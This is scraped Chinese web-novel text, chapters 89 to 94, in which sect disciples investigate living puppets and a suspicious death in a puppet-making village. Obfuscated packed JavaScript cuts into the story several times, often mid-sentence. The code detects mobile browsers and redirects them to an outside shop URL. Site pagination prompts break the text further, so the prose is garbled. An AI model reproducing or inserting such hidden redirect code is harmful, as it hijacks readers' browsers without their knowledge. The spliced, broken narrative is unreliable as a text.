这时,乔诀作为年纪最大的那一位,率先开口了,“献岁阁根据任务难度,定价不一。不过招寿村本就是献岁阁的管辖范围内,所以此次除祟,是免费的,村长莫要挂怀,有问题直说就好。” 江洵看着这人有理有据的,对二阁的印象稍微有那么一丢丢的改观吧。 “装得挺好。”此时,他听到身旁的瑶卿低声嘟囔了一句。 好吧,那么一丢丢的改观也迅速地没有了。 村长见他这么说,便也放心了。于是,继续开口说道:“前几日,村东头儿的老王家同我说,夜里总能听到墙外有人走来走去的声音。还以为是村子里进了贼,让我召集大伙问问可有谁家丢了东西。” “可并未有人丢东西,这事儿也就这么过去了。但又到了晚上,村西头儿的老郭家又来说,他们也听到了走动的声音,但是那脚步轻,倒像是谁家孩子在跑着玩儿。” 村长说道此处,喝了口热茶,压低声音继续说道:“可前两日,闫岱几人却说那跑来跑去的压根就不是人,是村里的木偶!!!!!你说这怎么可能嘛!!!” 他显然也是吓到了,说这话的时候都东瞅瞅西看看的,得亏家里的木偶都收了起来,不然就是白天看到他也觉得瘆得慌。 因着上个月有位大客户,向村子里定了一批木偶,要不是眼瞅着交货的时间要到了,这会子也没几个人敢动手去做了。 怕归怕,钱还是要赚的。 再说就算是闹鬼,那总不能大白天的就来刁难人吧。 傅霖思考了一下,抬眸问道:“那几人有看清楚木偶最初是从谁家跑出来的?” 村长摇摇头,表示他们并没有看清。 且不说晚上光线暗,看不清那木偶确切的样子。就算是能看清,他们当时也是吓得只敢在远处偷偷瞄一眼,哪还敢去探讨这木偶究竟是谁家制作的。 眼下距离天黑还有一些时间,瑶卿提议先去这村子逛逛,看看能不能发现一些有用的线索。 于是几人先同村长告别,走的时候村长对他们说道:“几位道长别逛太久,时间差不多了就先回来吃饭,今儿特意多买了几个菜招待你们。” “好嘞,您回吧。”瑶卿挥手示意。 五个人为了能够节省时间,果断决定兵分三路展开行动。而独自行动的那个人毫无意外又是乔诀。 他活了这么多年,此时此刻竟然生平头一遭产生了一种被他人排挤在外的异样感受。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170836|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一边,江洵则紧紧跟随在瑶卿身后一同前行。他们俩这一路上几乎未曾有过多的言语交流。 江洵原本还以为他们瑶姐应该是那种能言善道、滔滔不绝之人,但当两人真正单独相处之时才发现,这个人根本就是沉默寡言,鲜少主动的开口讲话。 当然,也有可能是她跟自己并没有什么好说的。 就在他俩一路默默无语地行走至一户人家门前之际,忽然间听到从院子里面传来了一对老两口交谈的声音。 只听得那位老太太说道:“眼睛先别忙着点上去,等到晚上的时候,看上去实在是太吓人了。” 紧接着便传来老爷子回应的话语声:“以往我怎从未听闻你说过觉得吓人呐?现在若是不点的话,过上几天万一给忘记了该如何是好?到时候恐怕又得被克扣工钱喽。” 虽说老爷子嘴上这般回复着老伴儿,但是其手中的动作却是相当乖巧听话,并未有丝毫要动笔去点画的迹象。 老太太见状,赶忙再次补充道:“以前可从来都没有出过这样的稀罕事儿呀!咱们在送货之前再仔仔细细地检查一遍也就是了,反正也花费不了多长时间嘛。” 只见瑶卿莲步轻移,缓缓地走到门前,伸手轻轻地叩响了那扇略显陈旧的木门。 敲门声在宁静的村落中显得格外清脆,仿佛打破了周围的寂静。 屋内的老两口原本正安静地坐着,听到敲门声后,不约而同地抬起头,目光齐刷刷地望向门口。 或许是因为看到门外站着两个陌生面孔,他们不禁愣住了,一时间竟不知该如何开口。 这章没有结束,请点击下一页继续阅读! 第89章 严目 等闫岱起床的这段时间里,闫程一刻也没闲着,又开始忙碌起手中的活儿来。 只见他面前放置着一个尚未完工、正处于塑形阶段的泥质偶头。 那张略显杂乱的大桌子上面,随意地摆放着几把大小各异的泥塑刀具,以及一叠平铺开来的纸张和一罐浆糊,脚下堆着一袋拆开了的石膏粉。 每当他手持刀子对着那泥偶头小心翼翼地雕刻数下之后,都会暂时停下动作,而后缓缓退后几步,站在稍远一点的地方仔细观摩一番。 接着,他会再次上前,继续挥动手中的刀具,或者对之前雕刻出的部分做出一些细微的调整。 就这样反复多次,直到偶头的五官被雕琢调整至令他感到满意的模样之后,他才拿起一旁地水瓢,轻轻舀起些许清水,均匀地洒在那还带着泥土气息的泥塑面部之上。 而后,他又迅速拿起一块铁片,细致而耐心地将湿润后的泥面逐一整平。 就在他刚刚准备着手进行下一步的工作之时,闫岱才慢悠悠的从屋内走了出来。 那人眼底下那浓重得如同墨染一般的黑眼圈显得格外醒目,看上去可绝不像是仅仅一两晚未曾好好休息就能造成的状况。 “能同我们再仔细地说一说那天晚上,你们所看到的东西吗?”傅霖问话时的声音都放轻了一些。 “那……那天……”闫岱的脸色瞬间变得煞白,他的嘴唇微微颤抖着,仿佛回忆起了极其可怕的场景,整个人陷入了深深的恐惧之中。 那天晚上,月色昏暗,几颗星星稀稀疏疏地挂在天边,整个村庄笼罩在一片诡异的寂静之中。 几人满怀着正义之心,一心想要揪出这几日在村子里装鬼弄神之人,就相约着晚饭后一同在村南头集合。 他们从南街一路溜达至北街,可眼瞅都快要到子时了,却始终没有看到那些人口中所谓的“小偷”。 除了他们几个身形高大的大男人之外,这路上别说人影了,就连一只小猫小狗都未曾瞧见。 正当几人心灰意冷,准备就此打道回府之时。突然,一阵轻微的、窸窸窣窣的脚步声从不远的拐角处传了过来。 这突如其来的声响让原本已经有些松懈的几人顿时警觉起来,他们迅速交换了一下眼神,然后默契地蹲下身子,像猫一样轻手轻脚地躲藏在了一个破旧的小摊子后面。 随着那脚步声越来越近,气氛愈发紧张凝重,几人的心跳声仿佛都清晰可闻。 更让人感到毛骨悚然的是,这脚步声听起来极为怪异,根本不像是正常人穿着鞋子行走在地面上所发出的声音。 那一步又一步的节奏异常沉重且拖沓,似乎每迈出一步都带着某种难以言喻的压力和重量,倒像是刚学会走路一般。 闫岱在心里就犯起了嘀咕,暗自思忖道:“这会不会根本就不是人在走路啊?难不成是他们村里的木偶成了精?” 果不其然,当他缓缓抬起头,定睛一看时,只见前方那些高低不一、正排着队缓缓向前移动的身影,除了木偶还能是什么! 此时,蹲在闫岱身旁的任初也看到了这一幕,瞬间被吓得魂飞魄散,嘴巴一张就要惊恐地喊叫出声。 说时迟那时快,闫岱反应极其迅速,赶忙伸出一只手,死死地捂住了任初的嘴巴,将他即将脱口而出的尖叫声硬生生地给憋了回去。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170837|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 然而,慌乱中的任初还是不小心用腿踢到了摊子的一角,只听得“咚”的一声闷响骤然响起,在寂静的夜空中显得格外突兀和响亮。 站在闫岱身侧的刘子明听到声响后,心头猛地一紧,又立刻伸手去压住任初的腿,同时压低声音焦急地说道:“你快别乱动了!千万别再弄出什么动静来了!” 可惜,一切都已经太晚了。 要知道,这个时辰的夜晚万籁俱寂。他们这几个大男人鬼鬼祟祟地躲藏在一个小小的摊子后面,想要完全不露出一丝一毫的破绽简直就是天方夜谭。 队伍末尾处的那个小木偶似乎听到了他们的声音,它虽然缓缓地、僵硬地转过头来,但它的身躯却依旧笔直地朝着前方走去,这种不协调的样子看上去格外诡异。 闫岱本只是想再抬起头来确认一下这些木偶是否已经走远,可没想到就在他抬头的瞬间,目光竟恰好与那个转身的木偶相对。 刹那间,闫岱整个人都呆住了,惊愕得完全说不出一句话来。 他就那样愣愣地蹲在原地,足足过了好半晌也没有任何反应。 他的眼中只剩下了那个死死盯着自己的木偶,那对空洞无神的眼睛犹如两个深不见底的黑洞,要将他的灵魂生生吞噬进去。 若不是一旁的刘子明及时察觉到情况不对,猛地伸手拽了闫岱一把,恐怕他这会儿还像个木头人一样呆呆地杵在那儿呢。 等到闫岱终于再次回过神来时,眼前早已没有了那只木偶的身影,唯有一条空荡且静悄的大街,刚才那令人胆寒的一幕就好像从来没有发生过似的。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第90章 人形 几人瞅着时间差不多了,便也一同回到了村长家,人还没进门就闻到了饭菜的香味儿。 钟其盛看起来年纪并不大,估摸着也就四十岁左右,他夫人倒看起来比他还要大上三四岁。 蹲在灶台边帮着烧火的是他们的儿子钟潼,不太爱说话,见着人时却总是笑的一脸腼腆。 果然,没有对比就没有差距,江洵又突然想到了方才那个没礼貌的姑娘。 当满满当当的一桌子人围坐在一起时,钟其盛满脸笑容,一直不停地热情招待着他们,嘴里还念叨着:“都是家常菜,几位道长不要嫌弃,多吃点。”他边说着边给大家倒茶、布菜。 而后继续说道:“以往来到我们村里的,不是那些购买木偶的商人,就是从其他地方专程赶来,只为看一场傀儡戏的客人。” 听到这里,坐在一旁的许廷宽顿时来了兴趣,好奇地追问道:“傀儡戏?” 钟夫人见许廷宽对此颇感好奇,赶忙笑着解释起来:“可不是嘛!咱们村子呀,每年都会专门举办几天的傀儡戏表演呢。你们这次来得正巧,再过上两天就能看到了。” 许廷宽一边聆听着钟夫人的介绍,一边眼睛时不时瞟向桌上的菜肴,尤其是那一盘色泽诱人的红烧肉。 然而,那盘肉距离他稍稍有点远,如果要站起身去夹肉,难免会觉得有些难为情。 于是,他只得退而求其次,伸长胳膊先夹了旁边的菜放进碗里。 目光敏锐的江洵自然留意到了许廷宽的小动作,不过,他并未多言,更没有伸手去调整盘子的位置。 但江洵不帮,自然有别的人会帮。 这不,坐在许廷宽旁边的傅霖蹭地一下站起身来,边往自己碗里夹着菜,边笑容满面地开口说道:“婶婶做的这道红烧肉特别好吃,肥而不腻。改明儿可要教教我,等回到山上我也好做给师傅尝一尝。” 有了傅霖带头,原本还有些拘谨的许廷宽顿时放松不少,不再像之前那般别扭。 婶婶听到傅霖的请求,毫不犹豫地点头答应下来,接着询问傅霖除了红烧肉之外,还喜欢哪道菜,打算一并教给他。 傅霖倒是毫不客气,随手指了指摆在江洵面前的那道竹笋炒腊肉,兴致勃勃地说道:“这道!这道!我瞅着我师弟喜欢吃。” 许廷宽听到傅霖这番话,嘴角忍不住微微上扬,低着头笑了。 这时,坐在一旁的瑶卿突然开口说道:“洵儿也喜欢吃这盘菜吧,我看你夹了好几次。” 被点名的江洵抬起头,那张俊俏的脸庞平静如水,淡淡地回应道:“挨得近。”说完便又继续埋头吃饭。 他没说喜欢,也没说不喜欢。 只是,就近罢了。 饭后,村长笑容满面地引领着众人缓缓来到一处古色古香的宅院门前停下脚步。 一边掏出钥匙开门,一边同他们解释这处宅子的来历。 一开始是为了给那些前来采购的商人所准备的休息之地,后来,也有一些特意赶来看傀儡戏的旅人留宿在这儿。 毕竟傀儡戏的表演时间都在晚上,等他们看完表演以后,时辰也不早了。 夜路难走,索性就睡在此处,待翌日天亮了再赶路也不迟。 而且,平日里谁家孩子同爹娘闹了别扭,也会找钟其盛借钥匙过来暂住几日。因着始终没有离开村子的范围,家里人倒也放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170838|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心孩子们都住在这儿。 只见庭院之中虽然散落着些许枯黄的落叶,但整体看上去依旧整洁干净,显然是经常有人精心打扫维护的缘故。 走进屋内,房间里摆放整齐的被褥皆是崭新的模样,丝毫闻不到那种令人不悦的霉味。 原本村长满心好意打算为每一个人都单独安排一间舒适的房间以供休息。却被瑶卿开口婉拒道:“您也太客气了,天色已晚,一个个屋子收拾起来也怪麻烦的。您给我们三把钥匙就行了。” 村长见她如此坚持,便也就不再强求,笑着将三间房的钥匙都递给了瑶卿。 她自己理所当然地独住其中一间房,而傅霖则与他的师弟许廷宽共居一室。 那么现在,剩下的最后一间房……自然而然就归属江洵和乔诀了。 乔诀一声不吭,面无表情地接过钥匙,二话不说径直朝着房门走去,随后快速地打开门锁,闪身进入了房间。 左右今晚是不会睡个安稳觉的,那至于怎么睡,又跟谁睡,他并不在意。 就在江洵即将踏入屋内之际,傅霖忽然凑近他的耳畔,用极低的声音轻语道:“一切小心。”这句话犹如一道轻柔的风,悄然吹进了江洵的耳中。 江洵听到这话后,不禁心生疑惑,转头看向傅霖。 他与傅霖相识已有两年有余,两人之间虽说偶尔会有一些小争执、小吵闹。但总体而言,彼此的关系还算得上融洽和睦。 尤其是在深塘坞的那些时日,傅霖总是挡在他身前,哪怕他自己身受重伤,遇到危险的时候,也毫不犹豫的把江洵护到他身后去。 本小章还未完,请点击下一页继续阅读后面精彩内容! 第91章 孟春 瑶卿美眸轻转,朱唇微启,轻轻念动咒语,只见一道银光闪过,她手中赫然出现了一把精致无比的扇子——银环。 扇骨由纯银打造而成,扇面则是用上等丝绸制成,绣着一条栩栩如生的银蛇。 许是察觉到危险的气息,那原本睡着的银蛇悄然睁开了双眼。 瑶卿手持银环,小心翼翼地将其抵在门上,然后微微用力一推。 只听“吱呀”一声,木门缓缓打开,发出一阵令人毛骨悚然的声响。 透过门缝,可以看见窗前正静静地站立着一个身影,正是二阁的乔诀。 起初,瑶卿不禁有些惊讶,心中暗自思忖道:“这人怎么不在自己房中好好待着,却跑到我这里来了?难不成有什么重要之事要与我说?” 然而,在她定睛细看之时,发觉眼前之人似乎有些不对劲。此人并不是真正的乔诀,而是一个被操控的木偶。 这个木偶的脚下密密麻麻地布满了丝线,这些丝线如同蜘蛛网一般错综复杂,一直延伸到黑暗的角落之中,让人不寒而栗。 瑶卿见状,面色不改,依旧淡定自若。 她手中的扇子随意地撑在身前。声音轻柔地问道:“乔乔,换个地儿?” 那木偶仿佛听懂了她的话一般,身体僵硬地点了点头。 于是,瑶卿便有意朝着设有阵法的房间走去,而那个木偶则木讷地跟在她的身后,亦步亦趋。 一路上,木偶始终沉默不语,只是机械地迈动着脚步。 然而,当它看到瑶卿抬起手敲门时,竟然歪了歪头,似乎对这个动作感到十分好奇。 在它有限的认知里,并不知道进门之前还需要敲门这种礼节。 于是,它有样学样地伸出一只手,也轻轻地敲了敲身旁的房门。 巧合的是,它所敲响的这间房门,恰好就是江洵所在的那一间。 而此时此刻的江洵正静静地站立在门后,还在犹豫要不要开门。 在他刚想要有所行动的时候,一阵轻微却又清晰可闻的脚步声从他的身后缓缓传来。 嗯???? 江洵的心头不禁涌起一股疑惑,因为他清楚地记得,自己的身后原本应该是空无一人的。 乔诀分明已经离开了,怎么会突然有脚步声?他猛地回过头去,想要看看到底是谁在那里。 当看清来人究竟是谁之后,竟然有那么一瞬间惊讶得完全说不出话来。 傅霖一直以来都未曾入睡,所有人员的一举一动,他都听得清清楚楚、明明白白,甚至连乔诀是什么时候离开的,他也都了然于心。 正因如此,当江洵的房门被轻轻叩响之时,他立刻就判断出,敲门之人绝对不可能是乔诀。 于是,他迅速嘱咐许廷宽留在房间里不要乱动,然后自己身手敏捷地翻过窗户,潜入了江洵的房间。 “开门。”傅霖并没有发出声音,只是用嘴唇的动作向江洵示意道。 江洵心领神会,对于傅霖为何会出现在这里,他一个字都没有多问,直接迈步朝着门口走去,直接打开了房门。 可令人意想不到的是,站在门前的人是瑶卿。 “哈?” “欸?” 江洵一副你怎么在这儿的表情看着瑶卿,而瑶卿则是一副傅霖怎么在你这儿的表情看着江洵。 “你在我们洵儿的房间做什么?”瑶卿走进来质问道。 “方才敲门的不是你吧?”傅霖看了眼门外。 “你怎么进来的?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170839|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “敲门的去哪了?” ...... 江洵看着眼前你一言我一语的两人,叹了口气,“翻窗进来的,许是听到了敲门声。” “哦~~~”瑶卿看着傅霖若有所思的回了一句。 随后,又继续说道:“敲门的的确不是我,是只披着乔诀外形的木偶,我本是想把它引到对面那房间的法阵里。但他却突然停在你门前了,等我再回头看他时,就已经消失不见了,我还以为是又溜到你房间里来了。” “木偶?”江洵转身点燃了一支蜡烛。 “嗯。” 江洵坐在床上,开口道:“我今晚也遇到一只,至于外形么,倒像个孩子模样。” “什么时候?”傅霖赶忙接话道。 “敲门声响之前,我不知道它什么时候出现的,睁开眼的时候就躺在我身侧了。” “跟你躺一起啊????”瑶卿听到这话的时候属实有点惊讶,问话的时候都不自觉的拔高了音量。 江洵若无其事地点了点头。 瑶卿仔仔细细地将江洵从头到脚打量了一番,要知道,他们三阁的弟子外出时,通常不太可能轻易得遇到那些不干不净之物。 原因无他,只因他们随身佩戴的香囊中所装填的药材里,有一味具有驱邪之效。 “你难道没随身携带香囊吗?”瑶卿面露疑惑之色,开口询问道。 “带了呀。”江洵一边说着,一边伸手轻轻拍打了一下自己腰间悬挂的香囊。 瑶卿的目光锁定在那只无比眼熟的香囊之上,不禁开口问道:“这……该不会还是你尚未入阁之时,老大送给你的那一只 吧?” 这章没有结束,请点击下一页继续阅读! 第92章 生疏 倘若孟春未曾察觉到她所做之事,或许还能够容忍她再多苟延残喘两年。 可偏偏那个人竟然撞见了她与人偷情一事,如此一来,她就必须死。 不过说来,也怪孟春自己没本事,丈夫对她毫无喜爱之情也就罢了,就连她的亲生骨肉与她之间都显得格外生疏,丝毫没有半点亲昵之感。 明明孙家如今家境殷实,可她却非得要每天把自己打扮得如同家徒四壁、穷困潦倒的揭不开锅一般。 这般自轻自贱是做给谁看? 每次好心好意地给她送去一些精美的玩意儿,想着能讨她欢心,结果她不仅一概拒收,甚至还会大发雷霆,怒不可遏地叫嚷道:“我才不需要这种通过不义之财换来的东西!” 真是令人啼笑皆非! 她也不想想,她平日里居住之所、饮食之物以及所用之物,又有哪一样不是依靠孙时权花费钱财购置而来的呢? 这样的行为简直就是既想要树立贞洁牌坊,又不愿意放弃享受奢华生活,实在是虚伪至极,让人厌恶不已! 乔诀本想等那男子走出房门以后,看一下究竟是何人。 可还未等到那时候,就听到后院传来的动静,便只好先行离去。 “孟春为何说孙时权所赚的钱都是不义之财?”江洵疑惑道。 “许是......当初带他们孙家入这一行的胡家,如今却就只剩一人,还活在这世上吧。”乔诀分析道。 “一人???什么意思??” 胡伯驹当年第一次见到孙时权时,那人落魄可怜的模样,令胡伯驹心中不禁泛起一丝怜悯之情,于是,便想也没想的就收留了他们一家五口人。 舒适的住处,可口的饭菜,每日的关怀。 他毫无保留地将自己的手艺传授给孙时权,希望他能够掌握一门谋生的技艺,肩负起养活一家老小的重任。 胡伯驹的夫人同样心地善良,她的傀儡戏表演堪称一绝,可谓是出神入化。 由于担心初来乍到的孟春会觉得日子太过无趣,胡夫人热情地邀请她一同参与傀儡戏的排练。 日子一天一天的过着,两家人的关系也愈发的亲密。 特别是孙家的小女儿孙玉珍,成天像个小尾巴似的紧紧跟在胡家小子身后,嘴里不停地喊着:“哥哥、哥哥!”无论胡家小子走到哪里,她都会一路跟随,形影不离。 其实,早在最初,胡伯驹就已经看出了孙时权的性子。他这个人,有足够的耐心和毅力,为人处世又不骄纵,而且深知隐忍之道。 这样的人,何愁办不成大事儿? 因此,在此后的日子里,胡伯驹常常带着孙时权去认识那些平日里前来此处选购木偶的顾客们,还教导他如何承接木偶的订单以及怎样安排发货事宜。 胡伯驹的本意是善良的,孙时权所经营的生意也日益兴隆、蓬勃发展起来。可不知不觉间,两人之间的角色发生了互换。 曾经施予帮助的胡伯驹如今变成了接受援助的一方;而原本受助的孙时权反倒成为了慷慨解囊之人。 又过了一年,那天在傀儡戏的演出圆满落幕之后,令人意想不到的事情发生了——后台突然燃起熊熊大火。 而胡夫人那时恰好孤身一人被困在后台,无法脱身。 胡伯驹眼见自己的妻子身陷险境,心急如焚之下连思考都顾不上,便毫不犹豫地冲进火海试图 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170840|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 营救胡夫人。 可惜最终,夫妻二人双双命丧于那场大火之中。 与此同时,家中仅剩下他们的儿子,早早就准备好了满满一桌的饭菜,痴痴地坐在桌旁等着爹娘回来。 “那一年的那场大火,当真只是一场意外吗?”江洵满脸狐疑地询问道。 乔诀轻叹一声,缓缓说道:“据村里人的说法,那场火灾的确被认为是一起意外。可是毕竟事过境迁,岁月悠悠,时至今日,到底那是否真是一次偶然事件,恐怕已无从查究,难以知晓真相了……” 黎明的曙光悄然爬上天空,驱散了黑夜最后的阴霾,天色渐渐地明亮起来。原本肆虐咆哮着的狂风也渐渐地安静下来,最终完全停歇,不再发出刺耳的呼啸声。 在这宁静祥和的氛围中,两个人静静地坐着,他们之间的气氛竟然出奇地平心静气。 说实在的,江洵从未想过能有这么一天,可以和乔诀如此心平气和地坐在一起交谈。 要知道,在他的印象里,乔诀可不是一个会轻易主动与人分享线索的人。 就在这时,乔诀敏锐地察觉到了江洵投来的目光,依旧是那副一本正经的模样,开口说道:“盯着我看做什么?” 听到这话,江洵先是微微一愣,随后笑着回答道:“我还以为你会一直对我们不理不睬,保持沉默呢。” 乔诀听后,神色未变,只是淡淡地回应道:“在山上的时候,咱们立场不同,自然是针锋相对。但是到了山下,情况就不一样了。在任务里牵一发而动全身,我们就是一荣俱荣,一损俱损。这点道理,我有分寸,也拎得清。” 本小章还未完,请点击下一页继续阅读后面精彩内容! 第93章 欲望 最终还是傅霖走上前,叩响了孙府的门。 没一会儿,就有人匆匆跑过来开门。门开后,瞅着是个年轻人,再看他身上穿的衣服,应该是孙府里请的小工。 许是瞅着来人面生,他并没有直接放江洵和傅霖进去,而是一脸谨慎地问道:“二位是?” “献岁阁弟子,前来探查村中闹鬼一事儿。经过此地,想来询问一二,麻烦您能通传一下。”傅霖直接表明来意,不卑不亢地回道。 “这个......”那人面露难色。 原因无他,就在昨天,他们家夫人就已经明确提醒过,如果这两天遇到了什么面儿生的人,直接将其打发离开。 特别是对于那些自称江湖门派的骗子,更是要让他们离得越远越好。 眼看着一年举办一次的傀儡戏演出即将开始了,如果这个节骨眼上招惹了一些来历不明的家伙,万一再出了什么乱子,那他们孙家岂不是就成了这村里的笑话? 可这位家丁看着眼前的两位公子,心中却不禁犯起了嘀咕。 这二人相貌英俊,仪表堂堂,举手投足之间流露出一种翩翩风度。只是其中一人的眼神略显凶狠,除此之外,无论从哪个角度看,都实在难以把他们跟骗子联系在一起。 可是光凭自己这么想又有什么用?得他们老爷夫人也这么想啊!毕竟,谁给钱谁就是爷! 于是,他只得尽量委婉地开口说道:“真是不好意思啊,二位公子。我们家老爷夫人这两天恰好有事儿外出,家中暂时没有能够主事的人。要不,您二位再去其他地方打听打听?” 听到这话,傅霖微微侧过头,朝着院子里面随意地瞟了一眼,有些疑惑地反问道:“哦?昨晚我分明还见到过你们夫人来着,怎得今天就外出了?” “公子这话说的,我们夫人昨儿个可是一整天都没出门儿,您又是在哪儿见得?” 这话问的傅霖一时哑口无言,他总不能说自己是趴人家屋顶上见的吧,况且那还不是他亲眼所见。 “昨日路过门口时,远远看到过一眼。”江洵说这话的时候目光平静而坚定,仿佛说的是真的一般。 傅霖微微侧身,用余光扫了一眼身旁替他说话的江洵,嘴角不由自主地勾起了一抹淡淡的笑意。 那小工听到江洵如此肯定的回答,不禁皱起眉头,脸上一副将信将疑的表情,但依旧是没有要让这二人进去的意思。 傅霖见此情形,知道再与他周旋下去也是徒劳无功,索性便不再同他拐弯抹角,直截了当地说道:“你只管回去同你家主事儿的说,我们是来调查孟春自杀一案。” “我只给你一盏茶的时间,要么现在立刻进去禀报,然后让我们进去;要么等一盏茶之后,我们自行闯入,到时可别怪我事先没有提醒过你。” “二位就不要为难小的了,我家大人是真的不在府上……” 他心里清楚,面前这两个人可能来头不小,自己肯定是惹不起的。可是另一边,孙府才是给自己发工钱的金主,想到这里,小工忍不住暗暗叫苦不迭。 “在与不在,我们进去一看便知。”傅霖双手抱胸面无表情地说着,摆出一副不想再跟他继续交流的架势。 那人深深地叹了口气,脸上露出些许无奈之色,犹豫再三之后,最终还是决定回去禀报一声。 走之前还不忘伸手将那大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14170841|150486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门先轻轻地合上。 赵紫芮正优雅地坐在榻前,手中拿着一本古籍,津津有味地阅读着。当看到有人走进来时,她抬起头,微微皱了皱眉,不紧不慢地问道:“何事如此匆忙?” 小工连忙上前一步,躬身行礼道:“夫人,门外有人求见,说是要见您。小的已经明确告知他们您不在府上,但他们始终不肯离去。” 孙夫人听后,轻轻放下手中的书籍,十分从容淡定地说道:“这孙府是谁想来便能来的?都打发走!若是真敢强行闯入,就直接报官。光天化日之下,他们难道还敢强闯民宅不成?” 然而,当她又听到那小工说这些人的来意是为了调查大夫人自杀之事时,那原本镇定自若的神情瞬间变得僵硬起来,整个人都愣住了。 赵紫芮怎么也没有想到,竟然会有人对这件事感兴趣儿。 毕竟,在外人看来,孟春不过是上吊自杀而已,能有什么值得调查的? 赵紫芮端起桌上的茶盏,轻抿一口,试图让自己冷静下来。直到一盏茶饮尽,她才下定决心。 于是,对那长工吩咐道:“罢了,你去给他们开门吧。我倒要看看究竟是什么人,又想要查些什么。” 江洵和傅霖不疾不徐地踏入府内,赵紫芮则端庄地坐在主位之上,目光冷冷地注视着他们。 待二人走近后,她才开口说道:“听闻二位公子今日前来,是为了调查我那苦命的姐姐?”她说这话的语气中透露出一丝哀伤与疑惑。 可还未等赵紫芮安排二人入座,傅霖便大大咧咧地自顾自找了个位置坐下,一副旁若无人的模样。 这章没有结束,请点击下一页继续阅读! 第94章 丝线 孙时权此人,其貌不扬不说,家境更是平平无奇,如此这般条件,自然难入那些个待字闺中的姑娘及其家人的眼,因此鲜少有女子愿意嫁于他。 然而,孟春的母亲却如同急于甩掉一块烫手山芋般,迫不及待地将孟春推向了孙时权,甚至在离开之时,也只是牵走了孙家仅有的一头牛当作聘礼。 起初的时候,孙时权确实怀揣着一颗真心,希望能与孟春和和美美的共度一生。 奈何感情之事,向来难以勉强。 或许是因为他娘时常在他耳边念叨诸如“若不是孟春,哪还有人肯嫁给你”之类的话语,不断地来贬低他。 久而久之,他心中对孟春原本存有的那一丝好感逐渐消散,取而代之的是深深的憎恶之情。 可自从来到招寿村以后,一切都变了。 孙时权逐渐财运亨通起来,手头也变得宽裕,当他有钱了以后,那原本不甚出众的容貌也就不再那么重要。 于是乎,他终于得以如愿以偿,可以随心所欲地去迎娶一位自己心仪的姑娘。 而就在这个时候,赵紫芮宛如仙子下凡一般,闯入了他的视线之中。 这位佳人温柔似水、善解人意,身形娇小玲珑,惹人怜爱至极,任谁见了都忍不住想要将她据为己有。 再看看府里那位孟春,整天都是一副冷冰冰的表情,穿着一身带补丁的破衣服,仿佛永远不知道该怎么去讨自己丈夫的欢心。 每次看到她的那张脸,孙时权心中的怒火就会噌噌地往上冒,气不打一处来! 而赵紫芮可不一般,早在还未正式进门之前,她就已经把孙家这一大家子人的脾气秉性给摸得透透的。 